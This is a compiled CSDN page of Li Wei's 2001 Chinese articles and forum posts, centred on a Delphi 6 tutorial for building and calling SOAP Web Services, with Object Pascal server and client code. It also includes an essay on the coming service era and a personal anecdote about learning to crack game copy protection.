SOAP (Simple Object Access Protocol)是由Don Box起草，並且獲得IBM，Microsoft，Lotus和UserLand等大型公司支持而成為W3C標準之一的通訊協定規格。從SOAP的名稱中我們便可以知道它是讓用戶端呼叫遠端物件服務的一種機制。SOAP以XML標準封裝呼叫遠端服務的格式，有別於其他分散式物件模型呼叫特定的呼叫格式，例如CORBA的GIOP以及DCOM的ORPC。由於SOAP以XML封裝呼叫格式，因此它可以使用任何的實體傳輸層來傳送，例如HTTP，TCP或是SMTP等。也許讓我們使用一個簡單的概例來說明會讓各位更容易的瞭解。
假設現在我在Linux平台上以Java語言實作了一個Web Service，這個Web Service提供了一個服務GetSystemTime。這個服務接受一個使用者名稱和一個密碼，如果成功的登錄之後，這個服務便會回傳Linux平台目前的系統時間。那麼我可以使用Delphi以SOAP的標準封裝使用者名稱和密碼來呼叫這個在Linux平台上的GetSystemTime服務。例如下面就可能是由SOAP封裝的格式：

GordonLi
xx12yh_49

藉由SOAP，Delphi的用戶端應用程式可以輕易的呼叫Linux平台上的Web Service，而無需關心這個Web Service是由什麼技術實作的，或是存在於任何地方，更不需要以特定的二進位格式來封裝呼叫。因此藉由Web Service和SOAP，開發者可以輕易的整合各種異質平台，異質分散式物件模型，而充分的利用所有的計算資源，這在以前是不可能輕易做到的，同時Web Service和SOAP也為未來的發展開啟了另一扇的大門。目前Web Service已經在國外快速的蓬勃發展，各種Web Service也已經在Internet上供人使用，例如搜尋MP3的服務，或是查詢全世界各地氣象的服務等。相信Web Service和SOAP也將很快的在國內發展起來，也終將成為軟體開發人員必備的軟體技能之一。
Web Service本身包含了許多的意義，觀念和技術，在RUN!PC 2001年5月份的『解析Web Service的技術內容與意涵』一文中已經對於Web Service和SOAP有基本的介紹，讀者可以參考該文的說明。

本篇文章的內容在於討論Web Service的技術架構和實作的技巧，並且首先以Delphi 6做為說明如何實際的開發Web Service以及用戶端應用程式來呼叫Web Service。接著再說明如何使用Delphi開發的用戶端應用程式來呼叫Internet上由Java開發的Web Service，來向各位讀者展示Web Service和SOAP的開放性以及標準性。當我們成功的在本地機器呼叫了在世界上某一個角落，由某一個人使用某一種工具開發的Web Service時，相信讀者也會讚嘆Web Service和SOAP所帶來的無限可能和下一波的軟體技術的革命。

Web Service和SOAP的架構

那麼我們要如何才能夠知道每一個Web Service提供的服務？要如何才能夠呼叫到Web Service？又要到那裡找到適合的Web Service呢？簡單的說，Web Service提供的服務是以所謂的WSDL(Web Service Description Language)標準來敘述的，只要我們能夠取得特定Web Service的WSDL，就可以從其中瞭解它提供的服務，以及如何呼叫這個Web Service。
最後一個問題是如何找到適用的Web Service，在目前全世界已經有人公佈了許多的Web Service供人呼叫使用。此外IBM和Microsoft等公司也正在研擬所謂的UDDI標準以提供註冊，搜尋，交換和使用Web Service的標準，開發人員可以藉由UDDI找到需要的Web Service，當然我相信許多的Web Service將會由開發人員根據自己的需求而使用工具開發出來。

說了那麼多，可能讀者會想要知道到底Web Service要如何實作？要使用什麼語言或是工具才能夠撰寫的呢？事實上Web Service並不限定任何特定的工具或是語言才能夠開發，簡單的說你可以使用任何的工具或是語言來開發，甚至可以使用ASP/JSP等稿本語言(Script Language)來實作。當然，開發人員也可以結合各種不同的軟體技術和元件架構來開發。
下圖是以比較實體架構的觀點來敘述Web Service的觀念。圖中的用戶端藉由SOAP和HTTP通訊協定，透過Web Service Provider找到適合的Web Service，再呼叫它。而實體的Web Service可以是實作在Window平台的MTS/COM+或是.NET物件，也可以是實作在Linux\UNIX平台中的CORBA或是EJB物件。這個觀點是以各種元件模型來實作Web Service。

圖一 Web Service的架構示意圖

至於下圖則是以更細微的觀點來看Web Service的實體架構。在這個圖形中呈現了Web Service可以由ASP/JSP或是CGI，ISAPI的形式來實作，以服務用戶端的請求。開發人員可以把所有的Web Service企業邏輯實作在ASP/JSP/CGI/ISAPI/DSO之中。或是只把回應用戶端請求的邏輯實作在ASP/JSP/CGI/ISAPI/DSO之中，而把真正的企業邏輯實作在後端的元件模型之中，或是後端的應用程式之中，例如Delphi的DataSnap伺服器。

圖二 Web Service的實作架構圖

從上面的討論中可以知道，開發人員可以使用任何的技術實作Web Service，只需要根據標準輸出Web Service，就可以由用戶端呼叫使用之。
討論完了觀念之後，現在讓我們回到實際的實作層次中。雖然Web Service可以由任何的技術實作，但是開發人員仍然需要選擇一種方式來開發。開發Web Service除了實作Web Service的企業邏輯之外，也必須提供Web Service的WSDL，並且分發Web Service。由於目前使用Web Service的情形仍然以SOAP/HTTP型式呼叫，因此許多的Web Service也是以Web應用程式的型態實作，例如把Web Service實作成CGI或是ISAPI/DSO的型式，不過只要能夠處理HTTP的呼叫，Web Service也可以實作成一般的獨立應用程式，這一點是讀者必須瞭解的。

開發Web Service雖然不是非常的困難，但是它仍然需要許多的開發步驟和處理程序，這也仍然需要花費一些開發成本。在Borland最新推出的Delphi 6中，Borland特別提供了7個直接的Web Service元件，三個Web Service精靈以及其他數個相關的VCL元件來幫助開發人員快速的開發Web Service，更棒的是，開發人員也可以再結合Delphi原有的MTS/COM+/CORBA/EJB元件模型開發更具延展性的Web Service。下圖便是Delphi 6中直接和Web Service相關的Web Service元件組。

圖三　Delphi 6提供的WebServices元件

這7個Web Service元件可以讓開發人員呼叫遠端Web Service，自動產生Web Service的WSDL，以及進行SOAP/HTTP和Object Pascal語言之間的繫結(Binding)，以便讓Delphi的程式師能夠使用Object Pascal直接處理SOAP之中的訊息。
下圖則顯示了在用戶端應用程式和遠端Web Service之間如何藉由這些元件溝通，以及每一個元件之間的關係。由於Delphi 6是Window平台上的開發工具，因此它使用了Wininet.dll來傳送HTTP封包資訊。

圖四 Delphi 6 WebServices元件的功能示意圖

從上圖可以知道，Delphi 6用戶端應用程式藉由THTTPRIO呼叫遠端Web Service，而TOPToSoapDomConvert可以把Object Pascal的呼叫和參數自動轉換為SOAP封裝的格式資訊，再藉由THTTPReqResp傳送HTTP封包。而在伺服端THTTPSoapDispatcher則負責處理用戶端傳送來的SOAP/HTTP資訊，並且透過THTTPSoapPascalInvoker元件來自動啟動能夠處理這個SOAP/HTTP請求的Object Pascal程式碼。至於TWSDLHTMLPublish則能夠自動的根據Delphi實作的Web Service來產生WSDL並且輸出此WSDL讓用戶端應用程式能夠使用這個WSDL來呼叫Web Service。
說明了Delphi 6中有關Web Service的元件和其功能之後，現在就讓我們看看在Delphi 6中開發Web Service的步驟。下圖便是在Delphi 6中開發Web Service簡易的步驟：

圖五 使用Delphi 6開發 Web Service的步驟

首先程式師必須撰寫Web Service的核心邏輯，然後定義此Web Service的WSDL，以便讓用戶端能夠遵循標準呼叫。在實作完Web Service之後，接著程式師就可以使用Delphi 6提供的WebServices元件組來實作用戶端應用程式，並且藉由WSDL來呼叫Web Service。
在實作Web Service用戶端應用程式時，Delphi 6提供了非常彈性的方法，允許程式師使用Early Binding或是Late Binding，不像某些解決方案只允許使用Late Binding。這種設計可以讓程式師在開發Web Service解決方案時可以根據執行效率或是執行彈性來決定使用Early Binding或是Late Binding。
為了讓讀者能夠真正的瞭解如何開發Web Service系統並且範例Delphi 6在SOAP和Web Service方面的強勁功能，就讓我們使用一個實際的範例來說明如何使用Delphi 6快速開發Web Service和用戶端應用程式，並且結合資料庫來提供用戶端資訊。這個範例Web Service是把MYESSAYS資料表中的所有我寫的文章輸出給用戶端以便查詢資訊，而且不管用戶端是瀏覽器，一般的Window應用程式，或是Linux下的應用程式都可以。下圖便是儲存這些文章資訊的畫面：

圖六 範例資料表

至於這個範例的整體架構如下圖所示。文章資訊是儲存在InterBase之中，並且藉由Delphi 6的dbExpress來技術存取。至於實作Web Service的主體則是一個由Delphi 6撰寫的簡單Web應用程式。最後我們實作一個原生視窗應用程式藉由SOAP來呼叫此Web應用程式實作的Web Service。

圖七 實作Web Service的架構圖

步驟1 – 開發SOAP伺服端應用程式

首先程式師可以在Delphi中使用SOAP Server Application精靈來開發Web Service伺服器。在Delphi 6中我們只需要點選File|New|Others功能表，然後點選WebServices頁次即可看到下圖的畫面，然後再點選SOAP Server Application圖像。

圖八 Delphi 6的SOAP Server Application精靈

在點選了SOAP Server Application圖像之後，Delphi會詢問程式師要以那一種的實體型態來實作Web Service，如下圖所示。程式師可以選擇欲實作的程式型態，例如在這個範例中我選擇以Web App Debugger executable來實作，因為這個程式型態可以讓我們在開發Web Service時能夠輕易的除錯。當然，程式師也可以選擇以一般的Window應用程式來實作Web Service，而不使用SOAP Server Application精靈提供的下列實體型態的程式。

圖九 以Delphi 6的Web App Debugger應用程式的形式開發Web Service

在點選了圖九的程式型態和Ok按鈕之後，Delphi便會自動幫助程式師產生如下的Web模組。

圖十 Delphi 6建立建立的Web Module以及WebServices元件

在圖十的Web模組之中，Delphi自動產生的THTTPSoapDispatcher元件可以讓Web Server自動呼叫此應用程式，而TWSDLHTMLPublish元件則可以自動產生敘述此Web Service的WSDL內容。

圖十一 範例Web Service的主表單

現在再讓我們在這個Web Service程式的主表單中加入一個TLabel並且設定它的Caption特性值為『我的第一個Web Service』，如上圖所示。

步驟 2 – 定義Web Service的服務介面並且實作它

接下來的步驟便是真正的實作此Web Service。首先在Delphi 6中建立資料模組，並且使用dbExpress連結到InterBase：

圖十二 範例Web Service的資料模組，它使用dbExpress元件存取InterBase

點選File|New|Unit功能表定義如下的IMyEssays介面，這個介面定義了此Web Service提供的服務，用戶端應用程式可以呼叫GetEssayTitles函式取得所有文章的資訊，而這些資訊是儲存在TEssaysInfos的陣列中，這個方法展示了Delphi 6的Web Service可以處理複雜的資料型態。至於GetEssayContent則可以根據用戶端傳遞來的文章ID而回傳此文章的內容給用戶端應用程式。

unit uMyEssaysInf;
interface
uses
  Types, XSBuiltIns, uEssaysInfo;
type
  IMyEssays = interface(IInvokable)
    ['{1C8ABA87-455B-4430-9881-239F5FFE7F49}']
    function GetEssayTitles : TEssaysInfos ; stdcall;
    function GetEssayContent(const iID : Integer) : String; stdcall;
  end;
implementation
uses
  InvokeRegistry;
initialization
  InvRegistry.RegisterInterface(TypeInfo(IMyEssays));
end.

接著我們定義儲存文章資訊的資料結構。為了讓文章資訊能夠自動傳遞回用戶端，我們可以在Delphi 6中從TRemotable類別繼承子類別，如此一來Delphi 6便會自動幫助我們處理資料Marshalling的問題。最後必須呼叫Delphi 6提供的RemClassRegistry物件來註冊這些類別。

unit uEssaysInfo;
interface
uses
  InvokeRegistry, XSBuiltIns;
type
  TEssaysInfo = class(TRemotable)
  private
    FEssayID : Integer;
    FEssayTitle : WideString;
  published
    property EssayTitle : WideString read FEssayTitle write FEssayTitle;
    property EssayID : Integer read FEssayID write FEssayID;
  end;

  TEssaysInfos =   array of TEssaysInfo;
implementation

initialization
  RemClassRegistry.RegisterXSClass(TEssaysInfo, 'http://www.w3.org/2001/XMLSchema', 'TEssaysInfo', '',False );
  RemTypeRegistry.RegisterXSInfo(TypeInfo(TEssaysInfos), 'http://www.w3.org/2001/XMLSchema', 'TEssaysInfos');
finalization
  RemClassRegistry.UnRegisterXSClass(TEssaysInfo);
  RemTypeRegistry.UnRegisterXSInfo(TypeInfo(TEssaysInfos));
end.

現在到了實作ImyEssays介面的時候了，我們定義TMyEssays類別從TInvokableClass繼承下來並且實作IMyEssays介面。TInvokableClass類別可以讓用戶端從遠端呼叫。最後同樣呼叫InvRegistry物件註冊TmyEssays類別，以便讓THTTPSoapDispatcher元件可以啟動。至於IMyEssays介面之中的GetEssayTitles方法則是使用dbExpress從InterBase中讀取所有的資料，並且把文章的ID和名稱儲存在一個TEssaysInfo物件中，再把TEssaysInfo物件儲存在TEssaysInfos陣列中，最後回傳此陣列給用戶端。

unit uMyEssaysImpl;
interface
uses
  SysUtils, Classes, InvokeRegistry, XSBuiltIns, uMyEssaysInf, uEssaysInfo, DB, HTTPProd, udmMyEssays, DBXpress;
type
  TMyEssays = class(TInvokableClass, IMyEssays)
  private
    procedure CreateDataModule;
    procedure FreeDataModule;
  public
    { IISAPITutorials }
    function GetEssayTitles: TEssaysInfos; stdcall;
    function GetEssayContent(const iID : Integer) : String; stdcall;
  end;
implementation
{ TISAPITutorials }

procedure TMyEssays.CreateDataModule;
begin
  dmMyEssays := TdmMyEssays.Create(nil);
end;

procedure TMyEssays.FreeDataModule;
begin
  if (Assigned(dmMyEssays)) then
  begin
    dmMyEssays.Free;
    dmMyEssays := nil;
  end;
end;

function TMyEssays.GetEssayContent(const iID: Integer): String;
begin
  Result := '
尚未實作, 請待續!!!
';
end;

function TMyEssays.GetEssayTitles: TEssaysInfos;
var
  iNo : Integer;
  iID : Integer;
  eInfo : TEssaysInfo;
  TD: TTransactionDesc;
begin
  CreateDataModule;

  TD.TransactionID := 1;
  TD.IsolationLevel := xilREADCOMMITTED;
  try
    dmMyEssays.sconnMyEssays.StartTransaction(TD);
    iNo := dmMyEssays.sdsMyEssays.RecordCount;
    SetLength(Result, iNo);
    iID := -1;
    with dmMyEssays.sdsMyEssays do
    begin
      while not Eof do
      begin
        Inc(iID);
        eInfo := TEssaysInfo.Create;
        eInfo.EssayID := FieldByName('EID').Value;
        eInfo.EssayTitle := FieldByName('ETITLE').Value;
        Result[iID] := eInfo;
        Next;
       end;
    end;
  finally
    dmMyEssays.sconnMyEssays.Commit(TD);
    FreeDataModule;
  end;
end;
initialization
  InvRegistry.RegisterInvokableClass(TMyEssays);
end.

現在這個能夠處理複雜資料的Web Service便藉由Delphi 6提供的WebServices元件和精靈完成了，接下來就是開發用戶端應用程式來呼叫此Web Service以取得文章資訊了。

步驟 3 – 開發用戶端應用程式呼叫Web Service

使用Delphi 6開發呼叫Web Service的用戶端應用程式更簡單，因為Delphi 6提供的WebServices元件組中的THTTPRIO元件實在是太方便了，我們只要使用物件檢視器設定THTTPRIO元件的WSDLLocation特性值為欲呼叫的Web Service的WSDL，那麼THTTPRIO元件便可以自動的處理所有呼叫Web Service的細節。
例如下面便是使用Delphi 6開發的用戶端應用程式，在這個應用程式的主表單上使用了一個THTTPRIO元件，並且在它的WSDLLocation特性值中輸入剛才開發的Web Service的WSDL檔案的位址。

圖十三 範例用戶端應用程式的主表單

接著在『 我的文章』按鈕的OnClick事件處理函式中撰寫如下的程式碼：

procedure TForm2.BitBtn1Click(Sender: TObject);
var
  oriCursor : TCursor;
  eInfos : TEssaysInfos;
  iCount : Integer;
  lStart, lEnd : Longint;
begin
  ShowCaption;

  StatusBar1.Panels[0].Text := '呼叫Web Service中...';
  StatusBar1.Refresh;
  lvMyEssays.Items.BeginUpdate;
  lvMyEssays.Items.Clear;
  oriCursor := Screen.Cursor;
  Screen.Cursor := crHourglass;
  lStart := GetTickCount;
  try
    eInfos := (HTTPRIO1 as IMyEssays).GetEssayTitles;
    for iCount := low(eInfos) to High(eInfos) do
    begin
      with lvMyEssays.Items.Add do
      begin
        Caption := eInfos[iCount].EssayTitle;
        Data := Pointer(eInfos[iCount].EssayID);
      end;
    end;
  finally
    lEnd := GetTickCount;
    ShowRunTime(lStart, lEnd);
    lvMyEssays.Items.EndUpdate;
    StatusBar1.Panels[0].Text := '完成呼叫Web Service';
    StatusBar1.Refresh;
    Screen.Cursor := oriCursor;
  end;
end;

procedure TForm2.ShowCaption;
begin
  lblCaption.Caption := '太棒了, 我的第一個Web Service程式';
end;

procedure TForm2.ShowRunTime(const lStart, lEnd: Integer);
begin
  StatusBar1.Panels[1].Text := FloattoStr((lEnd - lStart) / 1000.0) + '秒';
end;

上面的程式碼藉由THTTPRIO元件呼叫IMyEssays介面的GetEssayTitles方法，取得TEssaysInfos陣列，再從陣列中一一的取出每一篇文章的名稱，最後再填入到主表單中的TListView元件之中。下圖就是執行此用戶端應用程式呼叫Web Service伺服器，並且取得所有文章資訊的畫面。從這麼簡單的數個步驟中，我們已經使用Delphi 6開發了一個真正的Web Service應用系統。

圖十四 範例用戶端應用程式呼叫Web Service得到資料的畫面

雖然這是我們使用Delphi 6建立的第一個Web Service，但是這個範例Web Service展示了Delphi 6的SOAP/Web Service解決方案能夠輕易的傳遞複雜的資料型態，因為在範例Web Service中是使用陣列的型態來傳遞所有的文章資訊。Delphi 6的SOAP/Web Service技術絕不是像一些工具只提供簡單的SOAP/Web Service解決方案，而是充分的提供了一般和複雜的應用程式，並且能夠整合各種元件模型，是目前最具威力，也是最先進的SOAP/Web Service開發工具之一。
Delphi 6除了提供強勁的Web Service開發功能之外，新的Web App Debugger不但可以幫助程式師除錯Web應用程式之外，也可以幫助程式師監督用戶端應用程式和Web Service之中傳遞的資訊。這些資訊包含了SOAP的封包，以及Web Service伺服器回傳回用戶端的所有SOAP封包。這對於程式師學習SOAP和解析SOAP Payload都非常有幫助。例如下圖便是我使用Web App Debugger檢視此範例Web Service應用系統傳遞的SOAP Payload。

圖十五 Delphi 6的Web App Debugger可以顯示用戶端和伺服端之間所有的訊息

為了證明Web Service的威力和相通性，目前全世界已經有許多人成立了各種Web Service的網站，讓開發人員能夠測試Web Service。例如現在WWW.XMethods.COM便是提供各種Web Service的網站之一。這個網站羅列了許多的Web Service，下圖便是這個網站目前提供的Web Service。

圖十六 Internet上的XMethods(www.xmethods.com)提供了許多的Web Service供人呼叫使用

現在讓我們使用Delphi 6開發一個用戶端應用程式來透過Internet/Intranet呼叫遠端由Java實作，執行在Apache上的一個查詢美國各州氣溫的Web Service。下圖是這個Web Service的詳細資訊，這個Web Service的作者甚至提供了Java用戶端應用程式展示如何呼叫這個氣溫Web Service，不過現在我想使用Delphi的用戶端應用程式來呼叫，而不是Java。

圖十七 XMethods上的眾多Web Service之一，Temperature Web Service

下圖便是在我的機器中使用Delphi 6開發的用戶端應用程式，藉由Delphi 6的WebServices元件組來呼叫這個位於遠端，我也不知道在什麼地方的氣溫Web Service的結果畫面。
從下圖中可以證明，雖然我並不知道這個Web Service在那裡，我仍然可以藉由Web Service的標準介面敘述WSDL來使用它，即使它是使用Java實作的，並且執行在Apache之上。

圖十八 Delphi實作的用戶端應用程式呼叫執行在遠端Apache上的Web Service

希望上面的內容可以讓各位讀者瞭解Web Service和SOAP在應用上的潛力以及Delphi 6提供的元件技術可以讓開發人員快速而且輕易的實作出各種威力強大的Web Service。
也許藉由Web Service和SOAP的出現，也會對於目前應用系統架構產生巨大的影響。例如現在『供應鏈』軟體非常的流行，但是許多的供應鏈軟體在整合上，中，下游廠商時，經常會需要所有的廠商使用相同的平台以及基層軟體。但是對於下游廠商而言，可能無法像上游廠商一樣使用昂貴的設備，例如UNIX BOX和大型ERP軟體，許多的下游小廠也許只能使用Window NT或是Linux平台。不過現在Web Service和SOAP可以提供非常完善的解決方案，就如同下圖顯示的一樣，下游廠商可以只使用ASP提供簡單的Web Service讓他的中游廠商呼叫。而上游廠商則可以在UNIX Box中藉由大型的ERP軟體呼叫中游廠商執行在Window 2000中的BizTalk Service。如此一來不但每一個廠商都可以選擇最適合的執行平台和軟體，也可以藉由Web Service和SOAP整合上，中，下游廠商而提供一個及時且完備的供應鏈。Web Service和SOAP正為軟體帶來無限的發展契機。

圖十九 Web Service的應用架構之一

雖然SOAP和Web Service目前已經成為標準並且也已經被世界廠商所接受和支援。但是SOAP和Web Service仍然是在成長期，功能規格仍然在繼續的改善和強化之中，因此SOAP和Web Service的變化也在預期之中。Delphi 6實作的SOAP和Web Service似乎是比較偏向IBM和Java的陣營，因此Delphi 6能夠很容易的和Java以及PHP，Perl等SOAP/Web Service解決方案整合。至於Microsoft的SOAP和Web Service則稍有不同，需要程式師特別注意一下。
如果下次有時間的話，那麼就讓我們繼續討論Microsoft的SOAP Toolkit以及.NET之中的SOAP解決方案，並且比較Delphi和它們之間的差異以及如何整合這些不同的SOAP實作技術。

相关帖子:

李维：軟體服務時代的來臨

看看什么是软件服务时代！大家快来看看！

李维:.net vs delphi 6

delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事

看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

李维:Windows 原生開發工具的瑰寶 – Delphi 6

李维问答集之语言选择篇

李维：樂趣無窮，可能無限的新技術-Web Service

我推荐的帖子

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具

软件开发中的弊病

这篇文章不算精彩，但是引来的评论却很精彩！


CSDN_文档中心_李维：论一个程序员应具有的品行

BrianChang
荣誉会员

這大概是生平少有的幾次第一名吧！我真的很喜歡這個論壇，帶給我許多幫助，雖然目前就讀資管系，不過其實還是很封閉的環境，能夠進行像在論壇上這樣的討論其實還是很少；系上懂得API呼叫的不出五人，看過Design Pattern的不出三人。
回想從資深會員到榮譽會員的過程，我進步了許多，雖然也有不成熟的發言，卻也讓我歷練許多，從對OO基本的觀念，我向下學出了Win32 API的呼叫，向上學了OOD及OOA的觀念，向左不斷擴大對各種領域的學習（N Tiers、Web Services、JMS、…），向右不斷擴大對各種語言的瞭解（Delphi、Java、C++、C#、Python、Perl）。
聽朋友說，小孩子的學習能力超強，可以在適當環境的薰陶下學會七種語言，不曉得，以我對各種語言的狂熱，我可以學會幾種？
論壇之於你，不曉得是何種含意呢？只是在遇到問題時的發問對象呢？還是與網友彼此切磋增進實力的好地方呢？
論壇之於我，是擴大眼界，自我磨練的好地方，有些需求，可能我想都沒想過，卻每天都有人提出新的挑戰；我可能從您們的信中漸漸歸納出完整技術的架構及應用，何時該用什麼技術？在實務上會面對哪些挑戰，進而整理出一些通用性的原則。
我要表達對您們的感謝，有時同學們提出的一個問題，我就會翻出找資料，進而把之前看的不太懂的那章而徹底瞭解了，因為我在您們的問題中學到了Why。
一個人要有全方位的Sense的確不容易，技術能力又強、又樂於討論分享、團隊合作能力強，這樣的人的確很少；讓我也對李維老師肅然起敬，他的能力已經是在臺灣頂尖的了，其實他可以開補習班，訓練COM、N-Tiers之類的技術，我相信一天一萬元還是會有很多人會去上（Rational Rose的訓練課程就是一天一萬），可是他卻願意寫成書，只要花幾百元就能學習到，真是太物超所值了，他的書一本一千元也值得，若他寫的東西您真的可以理解運用在專案上，不曉得會獲得多利益；買花是很貴的、可是買種子就便宜多了，李老師是臺灣資訊界的播種者。
我在作夢，假如有一天我不斷地學習，也像李維老師、壇主、錢達智那樣豐富的知識及實戰經驗，我還會這樣樂於分享、討論嗎？
不曉得，這個問題等我下次再升Ping位時才知道；)

Gordon Li (李维)
班長

我的朋友都知道我喜歡玩Game, 尤其是和Tomm大戰的時光讓我最為懷念, 有了喜歡玩的Game(Diablo, Starcraft, RPG, ...), 我可以不寫任何東西, 也不看書, 一定要先破關. 許多朋友都認為我太浪費時間了, 如果省下玩Game的時間我可以多寫幾本書. 為什麼會如此, 這要從我唸師大附中的時候開始說起.

在高三時我父親送了我第一台Apple II, 一開始便被一個打磚牆的遊戲所吸引, 在瘋狂的玩了許久之後, 我開始問自己這是怎麼寫出來的. 上了台大之後由於大學的生活時間更多, 因此能夠玩Game的時間更多, 所以幾乎玩到了不出門的地步. 由於那個時候Game是使用5/42磁片儲存的, 因此為了防止盜拷, 場商發展出了各種防拷技術. 但是對於我這個扎原版磁片玩到壞的人來說卻是一件殘忍的事, 因為我無法再玩下去.

那時因緣巧合認識了一位先生, 他是專門破解磁片保護的,看著他使用Dos Debugger和一些工具就可以破解Game的保護我真是佩服的五體投地,立刻表示想要學這種技術. 自此我在仔身邊像小學徒一樣跟了4,5個月,但是到頭來他還是不願意教我. 我當時非常的失望, 因為我在想為什麼這個人會如此小氣呢?後來這位先生說這是他吃飯的技術當然不會教我,可是我只是想瞭解這麼神奇的技術到底是怎麼回事, 並不想像他一樣靠破解保護而賺錢.

後來我一氣之下決定自己摸索, 找了許多的組合語言書籍就開始了破解之旅,經過了幾個月之後, 我終於使用Dos的Debugger破解了我當時最喜歡的RPG"冰城之旅",其時的興奮之情真是不可以筆墨來形容. 後來我陸續的在許多Game中破解了2又1/2軌保護,4又1/4軌保護, BootStrap Morphism Protection等. 後來那位先生知道我學會了破解保護之後, 非常的驚訝, 不知道我是如何學會的, 不過我告訴他放心, 我不會以此維生.

雖然在接下來的一段時間中我一直沈醉在破解的快樂之中, 直到有一日我才發現我並沒有長進, 因為我只會破, 但是不會寫. 自此我便開始學習寫程式, 一下來就寫到了現在.我只記得我最後離開破解時, 那時最流行的保護是雷射燒孔保護, 當時的國喬中文系統便是使用雷射燒孔保護的.

從這個學習保護的破解學習之旅中我深刻的瞭解到如果在學資訊技術的旅程中敝帚自珍
故步自封的話, 終究是會被淘汰的, 因此不要怕別人和你學技術,要不時的和他人討論新技術和想法, 自己才會進步的更快. 就像現在我還在資訊之路學習,而當初那位先生聽說磁片保護的風潮過去之後就不知下落了.

BrianChang, 謝謝你的稱讚, 實不敢當. 我想從你的信中我可推估, 日後你一定也會把你的所學和我們分享的, 不是嗎?

恭喜升上榮譽會員, 真是一個榮耀.

李維

相关帖子:李维：軟體服務時代的來臨看看什么是软件服务时代！大家快来看看！

李维:.net vs delphi 6 delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

李维:Windows 原生開發工具的瑰寶 – Delphi 6

李维问答集之语言选择篇

李维：樂趣無窮，可能無限的新技術-Web Service

我推荐的帖子

電子商務新紀元-WebService With BizSnap(不比李维的那篇差！)

陈宽达: 遊戲程式設計初學者常遇之疑問 明修栈道,暗渡陈仓,陈宽达点指开发工具

软件开发中的弊病 这篇文章不算精彩，但是引来的评论却很精彩！


CSDN_文档中心_李维：軟體服務時代的來臨

軟體服務時代的來臨

經濟學家似乎從來不會意見一致. 即使是在今日全球經濟前景不明的情況下, 經濟學家也對於未來經濟是以V型爬升, 或是以U型, L型反轉而莫衷一是, 世界進步的速度似乎也因為經濟問題而呈現停頓的現象, 不過資訊技術的發展步伐卻和經濟情勢產生冷熱兩極的對比. 從去年起即快速發展, 至今仍方興未艾的標準資料交換技術XML, 到年初異軍突起的標準溝通技術SOAP(Simple Object Access Protocol), 都已經對資訊技術產生了深遠的影響，而且其漣漪效應(Ripple Effect)還在不斷的擴大之中。

在70/80年代編譯器技術幾乎主宰了技術資訊，因此奠基了作業系統和程式語言的基礎，此時資訊技術只是屬於專業人士的使用範圍。到了80年代中/後期世界對於資料處理的大量需求，造就了世界知名的資料庫大廠的快速開發，Oracle，Informix和Sybase是那時最具代表性的傳奇廠商，90年代Internet/Intranet從蓬勃發展到主宰世界科技和經濟的地位也不過短短的數年時間。不過我們從資訊技術發展的軌跡中卻可以發現資訊技術已經愈來愈貼近大眾需求的方向，而不再是屬於一群特定的專家。自Internet/Intranet之後，資訊技術的趨勢方向已經由網際網路主導了，XML和SOAP正是最好的證明。這些新的軟體技術的出現都是為了讓網際網路穿透大眾的生活模式，提昇網際網路的價值，並且讓未來的新經濟時代能夠建構在這些基礎資訊建築之上，就像傳統的經濟需要良好的交通建設一樣。

XML和SOAP的聯手已經產生了巨大的火花，不管是聲勢強大的Java陣營，或是目前Microsoft的當紅炸子雞.NET，都以XML和SOAP為基礎發展出了Web Service技術，所有的資訊大廠也莫不全力以赴競相研究和推廣Web Service。原因無他，因為Web Service是資訊技術結合網際網路的應用與創意的結晶，Web Service走入資訊廠商和大眾的生活成為重要資訊應用技術，其背後將產生巨大的商業利基。

Web Service也將對整個資訊產業產生化學作用，因為在Web Service被人們接受之後，下一步將會是QOS(Quality Of Service)的來臨。當人們瞭解Web Service的重要並且逐漸接受和使用它之後，要求服務品質將是自然的下一步。到那個時候，對於各式資訊硬體將有更高的需求，對網際網路，寬頻和週邊設備也將產生推升的動力。

Web Service也許是XML/SOAP產生的第一個創意技術，但是它絕不會是最後一個。資訊技術現在雖然比較順應網際網路的發展需求，但是也仍然需要其他基礎的資訊技術的配合，在Web Service快速發展的同時，其他配合的基礎技術也在萌芽之中，也許就是因為如此才讓資訊科技不斷的生生不息。Web Service有很好的機會成功，不過這也要看世界進步的速度，會不會在Web Service成熟之前被其他的創意，需求和技術所取代，不過資訊技術藉由Web Service正式進入服務的時代將是無法抗拒的趨勢。

資訊技術的進步從來不曾停滯,電子商務的泡沫化似乎對網際網路造成了嚴重的打擊. 不過新興的Web Service和SOAP/XML技術卻正在為下一波網際網路的蓬勃發展蓄積能量之中. 一旦低潮過去之後, 這些新的網際網路技術將再次帶領世界從90年代的”Information at your Fingertip”以及90年代末期的”Information On Demand”進入到以服務為本的”Service at Anytime , Anywhere”, 讓資訊的品質進入下一個境界.

Edited by - Gordon Li on 07/20/2001 18:16:23

相关帖子:

李维:.net vs delphi 6

delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事

看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

李维:Windows 原生開發工具的瑰寶 – Delphi 6

李维问答集之语言选择篇

李维：樂趣無窮，可能無限的新技術-Web Service

我推荐的帖子

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具

软件开发中的弊病

这篇文章不算精彩，但是引来的评论却很精彩！


CSDN_文档中心_李维:Windows 原生開發工具的瑰寶 – Delphi 6

Windows 原生開發工具的瑰寶 – Delphi 6

在睽違了將近2年之後，Borland的年度巨獻Delphi 6終於將在世人的面前揭開神秘的
面紗。Delphi 6不但對於Borland來說是一個重要的產品，事實上對於現在的視窗平台
也是一個意義重大的產品。因為當Microsoft全力發展.NET虛擬環境，而Borland本身
